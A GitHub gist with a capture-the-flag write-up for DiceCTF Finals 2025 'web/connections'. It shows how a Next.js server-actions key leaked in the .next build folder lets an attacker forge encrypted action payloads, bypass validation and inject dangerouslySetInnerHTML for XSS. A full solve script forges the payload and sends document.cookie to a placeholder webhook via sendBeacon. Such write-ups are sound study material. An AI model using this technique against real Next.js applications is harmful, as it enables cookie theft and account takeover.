Skip to content

Instantly share code, notes, and snippets.

@strellic
Created July 15, 2025 03:32
Show Gist options
  • Save strellic/68b68381f56aaabc52b670b56209bb4b to your computer and use it in GitHub Desktop.
Save strellic/68b68381f56aaabc52b670b56209bb4b to your computer and use it in GitHub Desktop.
DiceCTF Finals 2025 - web/connections writeup

DiceCTF Finals 2025 - web/connections writeup

  1. provided dist contains .next build folder
  2. .next build folder contains encryption key for server actions in .next/cache/.rscinfo
  3. this means that you can decrypt/re-encrypt the data when creating a connection, bypassing the Zod validation
  4. this gives you XSS in the DifficultyIndicator component via prop spreading:
export default function DifficultyIndicator({ puzzle, className = "" }: DifficultyIndicatorProps) {
  const { groups } = puzzle
  
  return (
    <div 
      className={`rounded-lg border-2 border-purple-200 bg-white p-4 shadow-lg ${className}`}
    >
      <h3 className="mb-3 text-sm font-medium text-purple-700">Difficulty Levels</h3>
      <div className="grid grid-cols-4 gap-3">
        {groups.map((group, index) => {
          const { category, words, color, ...props } = group
          return (
            <div key={index} className="flex items-center gap-2">
              <div
                className={`rounded-lg p-3 shadow-md transition-all duration-300 ${color} w-8 h-8`}
                {...props}
              />
              <span className="text-sm font-medium text-gray-700">
                {["Easy", "Medium", "Hard", "Very Hard"][index]}
              </span>
            </div>
          )
        })}
      </div>
    </div>
  )
}
  1. you can control puzzle.props[0] to add the dangerouslySetInnerHTML property and get XSS

solve script:

// helper functions taken from next.js source code
function stringToUint8Array(binary) {
    const len = binary.length
    const arr = new Uint8Array(len)

    for (let i = 0; i < len; i++) {
        arr[i] = binary.charCodeAt(i)
    }

    return arr
}

function arrayBufferToString(
    buffer
) {
    const bytes = new Uint8Array(buffer)
    const len = bytes.byteLength

    if (len < 65535) {
        return String.fromCharCode.apply(null, bytes)
    }

    let binary = ''
    for (let i = 0; i < len; i++) {
        binary += String.fromCharCode(bytes[i])
    }
    return binary
}

function decrypt(key, iv, data) {
    return crypto.subtle.decrypt({
            name: 'AES-GCM',
            iv,
        },
        key,
        data
    )
}

function encrypt(key, iv, data) {
    return crypto.subtle.encrypt({
            name: 'AES-GCM',
            iv,
        },
        key,
        data
    )
}

// encryption key from .next
const rawKey = "dS/7CWO2ykomRyc3BCWvWFg+gxAotwDWKBJLp+NtgfQ=";
const key = await crypto.subtle.importKey(
    'raw',
    stringToUint8Array(atob(rawKey)),
    'AES-GCM',
    true,
    ['encrypt', 'decrypt']
);

// example valid connections payload
const originalPayload = atob("TIge/KGCUf6ZSSluT6/lNI+XLaLrZNAaliEpaUup/ScUijvgCYzlbEIxs1KIo22v9TaKiMnBcuPIDPjE+bybaUJIRECfsm4CPRxlK+LG+/ddiZR3nK1VbyYuJjExdRC3zQ53+UdZ7rKJehayhZi2jstYej5qe/NJ3EoLp7w7Q0OYo018Q6oGeDiCCV/DwIwWFc4B3gPaeA0PhdAusSV8CMjWOpltaQCOFSvxAHLBI9QnoExle9C5tWusTWkl9ocQ8P+g7dYuCcQDOmY0GFfbof9f1hFYtKpCpWiZfgBpVEMqRGsoMua7i6PzCqXx618lSXXH/947C//QAPwGl6KHFR5jcKD3R55KaVVeQG5NxjzydKQjRqpGU5Eg64zvVAQ2Xgtd7K9AxbuRd4thnyO8m/WXejUclZcps2LIk+ZGPfvBRI6gplvvs18bDcijwb7lSWHMiy0Unb+G2XzMz9tgoDrZ8h9vC/VfCqsrfYVV9reLrCpMJbN66/i+fmqjuzfphSYFVmIIz9seA89as9BVExYA4Kcpjw==");
const ivValue = originalPayload.slice(0, 16);
const payload = originalPayload.slice(16);

const textDecoder = new TextDecoder();
const decrypted = textDecoder.decode(
  await decrypt(key, stringToUint8Array(ivValue), stringToUint8Array(payload))
);

console.log("dec", decrypted);

const actionId = decrypted.slice(0, decrypted.indexOf(':'));
const action = decrypted.slice(decrypted.indexOf(':') + 1);
const pt = JSON.parse(action);

pt[0][0].dangerouslySetInnerHTML = {
    __html: `<img src=x onerror="navigator.sendBeacon('https://WEBHOOK', document.cookie)">`
}

const explPayload = actionId + ':' + JSON.stringify(pt) + "\n";
console.log(explPayload);

const encrypted = await encrypt(
    key,
    stringToUint8Array(ivValue),
    stringToUint8Array(explPayload)
);


console.log(btoa(ivValue + arrayBufferToString(encrypted)));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment